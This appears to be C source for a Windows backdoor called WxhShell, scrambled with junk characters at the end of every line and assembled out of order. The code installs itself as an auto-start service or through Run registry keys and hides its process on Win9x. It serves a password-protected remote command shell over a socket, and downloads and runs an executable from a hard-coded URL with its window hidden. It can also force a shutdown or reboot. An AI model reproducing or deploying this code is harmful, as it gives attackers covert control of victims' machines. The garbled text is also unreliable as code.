  // 关机 {(?4!rh  
  case 'd': { pmYHUj #  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Xw5<J3L-  
    if(Boot(SHUTDOWN)) (C)p9-,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |sZHUf_  
    else { f|oh.z_R  
    closesocket(wsh); f`66h M[  
    ExitThread(0); 9(<@O%YU  
    } YZJyk:H\  
    break; 9-m=*|p  
    } GsM<2@?  
  // 获取shell 0C ,`h `  
  case 's': { ,MIV=*  
    CmdShell(wsh); 7Fsay+a  
    closesocket(wsh); @9|hMo  
    ExitThread(0); ] @fk] ]R  
    break; |(^PS8wG  
  } 11;zNjD|  
  // 退出 @`Su0W+.  
  case 'x': { r#mx~OVkk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -`6+UkOV[x  
    CloseIt(wsh); P0jtp7)7  
    break; Fv`,3aNB  
    } sW8dPw O  
  // 离开 "tpSg  
  case 'q': { UJ6v(:z <  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eb$#A _m  
    closesocket(wsh); lqpp)Cq  
    WSACleanup(); 1[-tD 0{H  
    exit(1); JOBhx)E  
    break; [z9Z5sLO  
        } kB%JNMF{A  
  } y1L,0 ]  
  } 7"D.L-H  
)@bQu~Y  
  // 提示信息  #:%/(j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "U"Z 3 *  
} |#N&akC  
  } \Y}8S/]  
Pg7Yp2)Oli  
  return; x ]ot 2  
} &b& ,  
E8&TO~"a]e  
// shell模块句柄 Ozf@6\/t  
int CmdShell(SOCKET sock) >b4eL59  
{ !jR=pIfq  
STARTUPINFO si; +^T@sa`[I  
ZeroMemory(&si,sizeof(si)); S ByW[JE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @U}1EC{A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H} g{Cr"Ex  
PROCESS_INFORMATION ProcessInfo; |LKXOU c  
char cmdline[]="cmd"; ;sFF+^~L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [j'X;tVX{  
  return 0; c~ V*:$F  
} $PHvA6D  
.#pU=v#/[  
// 自身启动模式 UW EV^ &"x  
int StartFromService(void) JqiP>4Uwm^  
{ jo@J}`\Zt  
typedef struct jW@Uo=I[  
{ *-p}z@8  
  DWORD ExitStatus; Mf``_=K  
  DWORD PebBaseAddress; uu687|Pm  
  DWORD AffinityMask; < c/5b]No  
  DWORD BasePriority; *~i ])4  
  ULONG UniqueProcessId; /&94 eC  
  ULONG InheritedFromUniqueProcessId; ,zY$8y]  
}   PROCESS_BASIC_INFORMATION; lHX72s|V  
b;UJ 88  
PROCNTQSIP NtQueryInformationProcess; cYt!n5w~W  
pz>>)c`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4HA<P6L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A3@6N(  
cExS7~*  
  HANDLE             hProcess; *;*r 8[U}q  
  PROCESS_BASIC_INFORMATION pbi; PwLZkr@4^  
-3Vx76Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4{`{WI{  
  if(NULL == hInst ) return 0; U/NoP4~{  
~qOa\#x_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '`KY! ]L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XpJ7o=?W3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n ?Nt6U  
92KRb;c  
  if (!NtQueryInformationProcess) return 0; }`~+]9 <   
| %Vh`HT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XOS[No~  
  if(!hProcess) return 0; I2 P@L?h  
D d</`iUq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '."ed%=MC  
3$9W%3  
  CloseHandle(hProcess); HA>OkA/  
n7-6- #  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <e</m)j  
if(hProcess==NULL) return 0; y h9*z3  
9qG6Pb  
HMODULE hMod; Jg| XH L)  
char procName[255]; em N*l]N  
unsigned long cbNeeded; }9fTF:P  
mL: sJf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Q0w\j h  
oM`0y@QCf  
  CloseHandle(hProcess); &KRX[2  
Npy :!  
if(strstr(procName,"services")) return 1; // 以服务启动 6~w@PRy  
N//K Ph  
  return 0; // 注册表启动 ,nDaqQ-C!!  
} yO~Ig `w  
O@C@eW#  
// 主模块 E=!\z%4  
int StartWxhshell(LPSTR lpCmdLine) .OY`Z)SS%  
{ @6T/Tdz  
  SOCKET wsl; g7W"  
BOOL val=TRUE; |8tilOqI  
  int port=0; `RL"AH:+  
  struct sockaddr_in door; j#q-^h3H  
.ctw2x5W  
  if(wscfg.ws_autoins) Install(); [3|P7?W/  
03#lX(MB  
port=atoi(lpCmdLine); ut7zVp<"  
[K0(RDV)%  
if(port<=0) port=wscfg.ws_port; kL"2=7m;  
YteO 6A;  
  WSADATA data; IB] l1<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uk<9&{  
)|=j`jCC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]-/VHh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HRfYl,S,  
  door.sin_family = AF_INET; wEvVL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?+}_1x`  
  door.sin_port = htons(port); 'AS|ZRr/  
xYpd: Sm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k_nql8H  
closesocket(wsl); E#N|w q  
return 1; ZX./P0  
} <lE <f+  
]|P iF+  
  if(listen(wsl,2) == INVALID_SOCKET) { _^%,x  
closesocket(wsl); n]o<S+z  
return 1; vT,AMja  
} q6V>zi  
  Wxhshell(wsl); |H+UOEiv,p  
  WSACleanup(); 8NAON5.!  
CN8Y\<Ar  
return 0; ou{2@"  
l?n\i]'  
} JO6)-U$7UG  
|imM# wF  
// 以NT服务方式启动 hy"\RW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0[?Xxk}s0  
{ ?QdWrE_  
DWORD   status = 0; aQ\$A`?  
  DWORD   specificError = 0xfffffff; 57  
[ ~c|mOk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a'yK~;+_9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LIF7/$,0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )W _v:?A9  
  serviceStatus.dwWin32ExitCode     = 0; 68C%B9.b'  
  serviceStatus.dwServiceSpecificExitCode = 0; |"CZT#  
  serviceStatus.dwCheckPoint       = 0; 5(Q%XQV*P  
  serviceStatus.dwWaitHint       = 0; y,,dCca  
-ifFbT+x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4yA+ h2  
  if (hServiceStatusHandle==0) return; 0rs"o-s<  
N]=q|D  
status = GetLastError(); 8\A#CQ5b  
  if (status!=NO_ERROR) ^KT Y?  
{ scz&h#0V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .~~T\rmI  
    serviceStatus.dwCheckPoint       = 0; " C Qa.%  
    serviceStatus.dwWaitHint       = 0; =wV<hg)C  
    serviceStatus.dwWin32ExitCode     = status; m'=Crei  
    serviceStatus.dwServiceSpecificExitCode = specificError; e)? .r9pA;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =|y9UlsD  
    return; `% "\@<  
  } t pQ(g%  
YWO)HsjP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bI9~jWgGp  
  serviceStatus.dwCheckPoint       = 0; ~H<6gN<j(.  
  serviceStatus.dwWaitHint       = 0; yg=q;Z>[~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .2Elr(&*h  
} b&N'C9/8  
9x9T<cx  
// 处理NT服务事件,比如:启动、停止 u(F_oZ~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x,pjpx  
{ l'E*=Rn  
switch(fdwControl) paE[rS\  
{ J$w<$5UY  
case SERVICE_CONTROL_STOP: Q6!zZ))~  
  serviceStatus.dwWin32ExitCode = 0; sfugY (m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  a a/(N7  
  serviceStatus.dwCheckPoint   = 0; WUXx;9>  
  serviceStatus.dwWaitHint     = 0; o&)8o5  
  { ?(F6#"/E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,pQZ@I\z  
  } ;) z:fToh  
  return; bSi%2Onj  
case SERVICE_CONTROL_PAUSE: VSI9U3t3w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q%f^)HZGR  
  break; nuMD!qu!nZ  
case SERVICE_CONTROL_CONTINUE: Eib5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /cQueUME`  
  break; _P 3G  
case SERVICE_CONTROL_INTERROGATE: rCbDu&k]  
  break; SaAFz&WRl  
}; `*cxH..  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3-qr)h  
} M@H;pJ+B  
4ber!rJM  
// 标准应用程序主函数 'ud{m[|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x$.^"l-vX  
{ 5o'FS{6U  
U!?_W=?  
// 获取操作系统版本 dI@(<R  
OsIsNt=GetOsVer(); {14fA)`%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6"O+w=5B  
qHplJ "  
  // 从命令行安装 2M#Q.F  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ls$D$/:q?  
N06OvU2>xU  
  // 下载执行文件 %G/ hD  
if(wscfg.ws_downexe) { ^?7-r6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +-U- D?-  
  WinExec(wscfg.ws_filenam,SW_HIDE);  Rn(ec  
} s_OF(o  
~IfJwBn-i  
if(!OsIsNt) { n&;85IF1  
// 如果时win9x,隐藏进程并且设置为注册表启动 TA`1U;c{n  
HideProc(); ~"&|W'he[  
StartWxhshell(lpCmdLine); vkx7paY_  
} JHM9  
else 'qb E=  
  if(StartFromService()) t~EPn.  
  // 以服务方式启动 ]7F=u!/`<C  
  StartServiceCtrlDispatcher(DispatchTable); "fCu=@i  
else p;59?  
  // 普通方式启动 gx8ouOh  
  StartWxhshell(lpCmdLine); k"T}2 7  
$m%f wB  
return 0; mAj?>;R2$2  
} , j2Udn}  
V6&!9b  
Yz/md1T$  
jrlVvzZ  
=========================================== ~Ei$nV  
,]ma+(|  
UXc-k  
a}BYov  
6ryak!|[  
u~M q*  
" Pw7]r<Q  
.9on@S  
#include <stdio.h> z0p*Z&  
#include <string.h> jk; clwyz/  
#include <windows.h> 85|OGtt  
#include <winsock2.h> ?wiC Q6*$  
#include <winsvc.h> b8`)y<7  
#include <urlmon.h> &I+5  
<;eW=HT+uq  
#pragma comment (lib, "Ws2_32.lib") 1#V_Z^OL  
#pragma comment (lib, "urlmon.lib") +j`5F3@  
szZr4y<8|1  
#define MAX_USER   100 // 最大客户端连接数 @;zl  
#define BUF_SOCK   200 // sock buffer w;[NH/A^a  
#define KEY_BUFF   255 // 输入 buffer _(W+S`7Z  
\}u Y'F  
#define REBOOT     0   // 重启 7 S#J>*  
#define SHUTDOWN   1   // 关机 UqFO|r"M  
^pAAzr"hv  
#define DEF_PORT   5000 // 监听端口 E"\<s3  
%Q__!D[  
#define REG_LEN     16   // 注册表键长度 {7"Q\  
#define SVC_LEN     80   // NT服务名长度 8`q:Gz=M\  
rxgbV.tx  
// 从dll定义API =r?hg GWe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); | C;=-|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z58 X5"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Ft+uuG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (^8Y|:Tz  
o]J{{M'E  
// wxhshell配置信息 P_dCR  
struct WSCFG { u<7/0;D#+  
  int ws_port;         // 监听端口 }l(&}#dY  
  char ws_passstr[REG_LEN]; // 口令 Gv!2f  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6"L cJ%o  
  char ws_regname[REG_LEN]; // 注册表键名 U2tV4_ e  
  char ws_svcname[REG_LEN]; // 服务名 iW]j9}t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v}}F,c(f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Utn\l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b$d;Qx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '%s.^kn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  acajHs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Ny9'g>?  
9N#_( uwt  
}; 0rQMLx  
E<{ R.r  
// default Wxhshell configuration <.x{|p  
struct WSCFG wscfg={DEF_PORT, Z, zWuE3  
    "xuhuanlingzhe", #vz7y(v  
    1, Q 04al=  
    "Wxhshell", y|C(X  
    "Wxhshell", qTRsZz@  
            "WxhShell Service", ,8S/t+H  
    "Wrsky Windows CmdShell Service", .KB^3pOpx  
    "Please Input Your Password: ", 2@n{yYwy  
  1, [`#CXq'  
  "http://www.wrsky.com/wxhshell.exe", O%WIf__Q  
  "Wxhshell.exe" 1![!+X:w  
    }; G, }Yl  
}/0X'o  
// 消息定义模块 \#2Z)Kz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j"t(0 m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WrnrFz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g+8OekzB5  
char *msg_ws_ext="\n\rExit."; /QK6Rac-  
char *msg_ws_end="\n\rQuit."; uanhr)Ys  
char *msg_ws_boot="\n\rReboot..."; 8l>?Pv  
char *msg_ws_poff="\n\rShutdown..."; 6 C1#/  
char *msg_ws_down="\n\rSave to "; J|W<;  
L\6M^r >  
char *msg_ws_err="\n\rErr!"; px A?  
char *msg_ws_ok="\n\rOK!"; A9KET$i@v  
.Yamc#A-  
char ExeFile[MAX_PATH]; m<<+  
int nUser = 0; ?(@ 7r_j  
HANDLE handles[MAX_USER]; 6+:iy'-  
int OsIsNt; ~dyTVJ$  
bbDZ#DK"  
SERVICE_STATUS       serviceStatus; 8 `v-<J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v^sv<4*%  
paA(C|%{  
// 函数声明 +C^nO=[E  
int Install(void); _>o:R$ %}  
int Uninstall(void); l] K3Y\#bP  
int DownloadFile(char *sURL, SOCKET wsh); {X!r8i  
int Boot(int flag); =}<IfNA  
void HideProc(void); U45e2~1!O  
int GetOsVer(void); $!-yr7  
int Wxhshell(SOCKET wsl); k90YV(  
void TalkWithClient(void *cs); iOf<$f  
int CmdShell(SOCKET sock); ")1:F>  
int StartFromService(void); DHg :8%3x  
int StartWxhshell(LPSTR lpCmdLine); y B81f  
~T"Rw2v b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H9Gh>u]}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RF?`vRZOe  
D5gFXEeh  
// 数据结构和表定义 s-NX o  
SERVICE_TABLE_ENTRY DispatchTable[] = eFB5=)ld  
{ CYf$nYR  
{wscfg.ws_svcname, NTServiceMain}, Zcey|m*|  
{NULL, NULL} ]"pVj6O  
}; }g@v`5  
dUD[e,?  
// 自我安装 IY1 //9  
int Install(void) 8$] 1M,$r  
{ O"+ gQXe  
  char svExeFile[MAX_PATH]; ,=uD^n:  
  HKEY key; W Tcw4  
  strcpy(svExeFile,ExeFile); ;_XFo&@  
K,tQ!kk  
// 如果是win9x系统,修改注册表设为自启动 PioZIb/{  
if(!OsIsNt) { ]HbY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { av(6wht8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x[| }.Ew  
  RegCloseKey(key);  > ^O7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Zb;'eDv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !@5 9)  
  RegCloseKey(key); x o;QCOH  
  return 0; ; t)3F  
    } qfX6TV5J}!  
  } 44J]I\+  
} Mg+2. 8%  
else { M.JA.I@XC  
`T1  
// 如果是NT以上系统,安装为系统服务 g%aYDl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W PC]%:L"  
if (schSCManager!=0)  X hR4ru`  
{ q#~ (/  
  SC_HANDLE schService = CreateService xnjf  
  ( ]|#+zx|/D  
  schSCManager, "BAK !N$9  
  wscfg.ws_svcname, xKbXt;l2  
  wscfg.ws_svcdisp, SA:Zc^aV  
  SERVICE_ALL_ACCESS, D=TvYe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l#&8x  
  SERVICE_AUTO_START, j<upRS,$  
  SERVICE_ERROR_NORMAL, v6|RJt?  
  svExeFile, g%o(+d  
  NULL, OU E (I3_  
  NULL, }ZYd4h|g\z  
  NULL, 3s*mbk[J  
  NULL, `4r 3l S  
  NULL _9ao?:  
  ); +tB=OwU%0  
  if (schService!=0) ]IaMp788  
  { ~"gA,e-)  
  CloseServiceHandle(schService); cF*TotU_m  
  CloseServiceHandle(schSCManager); Z<oaK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *9 {PEx  
  strcat(svExeFile,wscfg.ws_svcname); MyOd,vU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DmK57V4L^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nd4f^Y   
  RegCloseKey(key); 7Y lchmd  
  return 0; WH%g(6w1j  
    } cs48*+m  
  } _r#Z}HK  
  CloseServiceHandle(schSCManager); qyb?49I  
} H;mSkRD3N  
} VD AaYDi  
"37lx;CH  
return 1; _=r6=.  
} /*~EO{o  
qfF~D0}  
// 自我卸载 D'>_I.  
int Uninstall(void) cbjs9bu  
{ H.P_]3f  
  HKEY key; a"1t-x  
#&+{mCjs  
if(!OsIsNt) { T}Tp$.gB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3=#<X-);  
  RegDeleteValue(key,wscfg.ws_regname); E#RDqL*J  
  RegCloseKey(key); !"AvY y9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m~BAyk^jo3  
  RegDeleteValue(key,wscfg.ws_regname); TJd)K$O>  
  RegCloseKey(key); .D~;u-%|F  
  return 0; fy1|$d{'  
  } Mc lkEfn  
} ]2A^1Del  
} ;7*[Bcj.  
else { >fG3K`  
AD> e?u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uo:J\E  
if (schSCManager!=0) qw301]y  
{ 3ZuZ/=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !vi> U|rh  
  if (schService!=0) D_2:k'4  
  { Q>qUk@  
  if(DeleteService(schService)!=0) { ux-/>enc  
  CloseServiceHandle(schService); evJ4C#Pr  
  CloseServiceHandle(schSCManager); r wL`Czs  
  return 0; 'ycJMYP8  
  } 9yu\ Ot  
  CloseServiceHandle(schService); , u=`uD  
  } p>,|50|  
  CloseServiceHandle(schSCManager); r+!YI k  
} \<h0Q,e  
} -/B+T>[nTb  
Z3e| UAif  
return 1; uh_RGM&  
} *tFHM &a  
"s-"<&>a(  
// 从指定url下载文件 a~`eQ_N D  
int DownloadFile(char *sURL, SOCKET wsh) k8yEdi`  
{ Eh`7X=Z7E  
  HRESULT hr; Ufj`euY  
char seps[]= "/"; m,28u3@r  
char *token; ;]puq  
char *file; Y|m +dT6  
char myURL[MAX_PATH]; j3oV+zZ49  
char myFILE[MAX_PATH]; \&:nFb%=  
l9~e". ~'  
strcpy(myURL,sURL); h8j.(  
  token=strtok(myURL,seps); B4/>H|  
  while(token!=NULL) $p8xEcQdU#  
  { T~?Ff|qFC  
    file=token; ' {OgN}'{  
  token=strtok(NULL,seps); T"Y+m-<%  
  } v~+(GqR=+  
g'f@H-KCD  
GetCurrentDirectory(MAX_PATH,myFILE); D8Ic?:iX[  
strcat(myFILE, "\\"); dbLZc$vPj  
strcat(myFILE, file); >=lC4Tu  
  send(wsh,myFILE,strlen(myFILE),0); G>_*djUf  
send(wsh,"...",3,0); 2szPAuN+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lBE= (A`  
  if(hr==S_OK)  7Die FZ?  
return 0; eIF5ZPSZi  
else GKqm&/M*=  
return 1; ;O5zUl-`  
Ty\R=y}}  
} 5ta `%R_  
(#c*M?g3  
// 系统电源模块 f`(UQJ  
int Boot(int flag) S}3fr^{.  
{ ;;Y! ^^g  
  HANDLE hToken; pX<`+t[  
  TOKEN_PRIVILEGES tkp; atH*5X6d  
7"D", 1h  
  if(OsIsNt) { 2|y"!JqE1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +/7?HGf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SR hiQ  
    tkp.PrivilegeCount = 1; yzn%<H~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,KZ~?3$yj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !n!*/[}X  
if(flag==REBOOT) { 8nqG<!,q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s[*rzoA  
  return 0; #zy :a%  
} Es`Px_k  
else { s) t@ol  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M?49TOQA  
  return 0; ;d$rdFA_  
} qq`4<0I>  
  } nPtuTySG  
  else { bs&43Ae  
if(flag==REBOOT) { }K>d+6qk5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \K{ z  
  return 0; iMh#TUlQEQ  
} tjS@meT  
else { GA )`-*.R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C =xa5Y  
  return 0; P;no?  
} ,Vax&n+J  
} }#+^{P3;  
Po0A#Zl  
return 1; kazzVK5x  
} 0> E r=,e  
rXq.DvQ  
// win9x进程隐藏模块 <dNOd0e  
void HideProc(void) 3`?7 <YJ  
{ T<>,lQs(a  
E=Bf1/c\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oszj$C(jF  
  if ( hKernel != NULL ) :,7hWs  
  { ttQGoUkj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m7V/zne  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w.o@7|B1N  
    FreeLibrary(hKernel); W i.& e  
  } VGN5<?PrN  
 > |=ts  
return; H41?/U,{  
} 6_;icpN]  
MchA{p&Ol  
// 获取操作系统版本 {Mk6T1Bkq  
int GetOsVer(void) `(;m?<%  
{ /}Axf"OE  
  OSVERSIONINFO winfo; |-ALklXr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rv>-4@fMJ  
  GetVersionEx(&winfo); Q{>k1$fkV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  K5 z<3+  
  return 1; ?j.,Nw4FC  
  else R\f+SvE  
  return 0; 3,w_ ".m`#  
} H8jpxzXv  
1GRCV8 "Z^  
// 客户端句柄模块 4J? 0bZ  
int Wxhshell(SOCKET wsl) G_JA-@i%  
{ 372rbY  
  SOCKET wsh; TX/Xt7#R:  
  struct sockaddr_in client; ,p a {qne  
  DWORD myID; 'Is kWgc  
y^ *~B(T{  
  while(nUser<MAX_USER) %;' s4ly  
{ o-HT1Hc!  
  int nSize=sizeof(client); ^\% (,KNo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8,%^ M9zBP  
  if(wsh==INVALID_SOCKET) return 1; gJ{)-\  
Fo_sgv8O<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~?}Emn;t  
if(handles[nUser]==0) !< ";cw(q  
  closesocket(wsh); [|L<_.8  
else B6 ;|f'e!  
  nUser++; } OR+Io  
  } j (d~aqW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ml5w01O  
>=>2m2z=  
  return 0; Or+U@vAnk  
}  _[3D  
}X6m:#6  
// 关闭 socket $%Kf q[Q  
void CloseIt(SOCKET wsh) BO&bmfp7,  
{ 3hH<T.@)  
closesocket(wsh); =nS3p6>rZ  
nUser--; ;'K5J9k  
ExitThread(0); TdM ruSY  
} *fxG?}YT  
@.l@\4m  
// 客户端请求句柄 NI]N4[8(  
void TalkWithClient(void *cs) aXYY:;  
{ Y.UFbrv  
'H!Uh]!  
  SOCKET wsh=(SOCKET)cs; BU_nh+dF  
  char pwd[SVC_LEN]; AT3Mlz~7#  
  char cmd[KEY_BUFF]; tNI^@xdim1  
char chr[1];  8nJpp  
int i,j; dn3y\  
m(!FHPvN  
  while (nUser < MAX_USER) { Fxz"DZY6  
fr3d  
if(wscfg.ws_passstr) { +6\Zj)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n\53wh@+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]ieeP4*  
  //ZeroMemory(pwd,KEY_BUFF); ;^*W+,4WB  
      i=0; *)Zdz9E'1(  
  while(i<SVC_LEN) { f6Ah6tb  
CTa57R  
  // 设置超时 oc`H}Wvn  
  fd_set FdRead; F41=b4/  
  struct timeval TimeOut; 3 0H?KAV  
  FD_ZERO(&FdRead); ,"ZMRq  
  FD_SET(wsh,&FdRead); ?a5!H*,  
  TimeOut.tv_sec=8; T5h H  
  TimeOut.tv_usec=0; 4[e X e$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cwg"c4V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z:*|a+cy  
D,feF9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,qxu|9L  
  pwd=chr[0]; bn5 Su=]  
  if(chr[0]==0xd || chr[0]==0xa) { 25?6gu*Z  
  pwd=0; ICQKP1WFp  
  break; .q>iXE_c  
  } C'x&Py/#  
  i++; :o3N;*o>)0  
    } l_p2Riv  
,J@  
  // 如果是非法用户,关闭 socket S1_RjMbYM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #6=  
} rILYI;'o  
sgFEK[w.y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k,*XG$2h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mzgfFNm^G)  
Zy/_ E@C}u  
while(1) { hgq;`_;1,  
@ 6vIap|  
  ZeroMemory(cmd,KEY_BUFF); qE"OB  
zDG b7S{  
      // 自动支持客户端 telnet标准   z03K=aZ  
  j=0; 9'B `]/L  
  while(j<KEY_BUFF) { WyiQoN'q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |6- nbj  
  cmd[j]=chr[0]; 2>%=U~5  
  if(chr[0]==0xa || chr[0]==0xd) { HRA|q  
  cmd[j]=0; x%B%f`]8  
  break; =s6 opL)  
  } 59u }W 0  
  j++; l/5 hp.  
    } [/r(__.  
 ob]w;"  
  // 下载文件 XCQs2CHt  
  if(strstr(cmd,"http://")) { h*\%vr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Le^ n +5x  
  if(DownloadFile(cmd,wsh)) ;xTpE2 -~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SXh-A1t  
  else wCBplaojJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dZuOrTplA  
  } ~xTt204S  
  else { -9?]IIVb  
;_=&-mz  
    switch(cmd[0]) { omx=  
  Mtx4'WZ  
